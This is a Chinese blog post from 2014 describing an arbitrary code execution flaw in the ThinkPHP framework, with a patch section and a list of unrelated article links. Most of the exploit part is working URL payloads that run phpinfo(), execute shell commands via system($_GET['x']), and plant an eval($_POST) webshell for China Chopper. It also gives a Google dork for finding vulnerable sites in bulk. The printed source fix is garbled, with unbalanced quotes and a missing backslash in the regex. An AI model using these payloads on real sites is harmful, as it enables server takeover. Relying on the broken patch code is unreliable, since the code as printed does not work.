ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
玩转虚拟域名◎+ .
Oct 09 PHP
IIS+PHP+MySQL+Zend配置 (视频教程)
Dec 13 PHP
php将gd生成的图片缓存到memcache的小例子
Jun 05 PHP
解析获取优酷视频真实下载地址的PHP源代码
Jun 26 PHP
php 启动报错如何解决
Jan 17 PHP
PHP中cookie和session的区别实例分析
Aug 28 PHP
Symfony实现行为和模板中取得request参数的方法
Mar 17 PHP
PHP中的使用curl发送请求(GET请求和POST请求)
Feb 08 PHP
thinkPHP框架中layer.js的封装与使用方法示例
Jan 18 PHP
CodeIgniter框架实现的整合Smarty引擎DEMO示例
Mar 28 PHP
php使用socket调用http和smtp协议实例小结
Jul 26 PHP
PHP7 foreach() 函数修改
Mar 09 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
特详细的PHPMYADMIN简明安装教程
2008/08/01 PHP
分享php分页的功能模块
2015/06/16 PHP
Laravel框架生命周期与原理分析
2018/06/12 PHP
一些不错的js函数ajax
2008/08/20 Javascript
JavaScript 类的定义和引用 JavaScript高级培训 自定义对象
2010/04/27 Javascript
什么是DOM(Document Object Model)文档对象模型
2012/03/05 Javascript
JavaScript中的常见问题解决方法(乱码,IE缓存,代理)
2013/11/28 Javascript
JQuery实现当鼠标停留在某区域3秒后自动执行
2014/09/09 Javascript
js父页面与子页面不同时显示的方法
2014/10/16 Javascript
使用jquery 简单实现下拉菜单
2015/01/14 Javascript
jquery 表单验证之通过 class验证表单不为空
2015/11/02 Javascript
基于jQuery实现文本框只能输入数字(小数、整数)
2016/01/14 Javascript
js获取Html元素的实际宽度高度的方法
2016/05/19 Javascript
JS访问DOM节点方法详解
2016/11/29 Javascript
JavaScript实现格式化字符串函数String.format
2016/12/16 Javascript
Angularjs 动态添加指令并绑定事件的方法
2017/04/13 Javascript
jQuery实现模糊搜索功能的方法分析
2018/06/29 jQuery
微信小程序实现下拉菜单切换效果
2020/03/30 Javascript
el-select数据过多懒加载的解决(loadmore)
2019/05/29 Javascript
jQuery位置选择器用法实例分析
2019/06/28 jQuery
Python实现对字符串的加密解密方法示例
2017/04/29 Python
Python实现字典的遍历与排序功能示例
2017/12/23 Python
解决Python3中的中文字符编码的问题
2018/07/18 Python
Django接收post前端返回的json格式数据代码实现
2019/07/31 Python
Python selenium 自动化脚本打包成一个exe文件(推荐)
2020/01/14 Python
Python编程快速上手——Excel表格创建乘法表案例分析
2020/02/28 Python
Python3+Appium安装及Appium模拟微信登录方法详解
2021/02/16 Python
如何理解委托
2012/01/06 面试题
军训 自我鉴定
2014/02/03 职场文书
结婚喜宴主持词
2014/03/14 职场文书
劳动竞赛活动总结
2014/05/05 职场文书
书香家庭事迹材料
2014/05/09 职场文书
五心教育心得体会
2014/09/04 职场文书
党员批评与自我批评范文
2014/09/23 职场文书
离婚财产处理协议书
2014/09/30 职场文书
道德模范事迹材料
2014/12/20 职场文书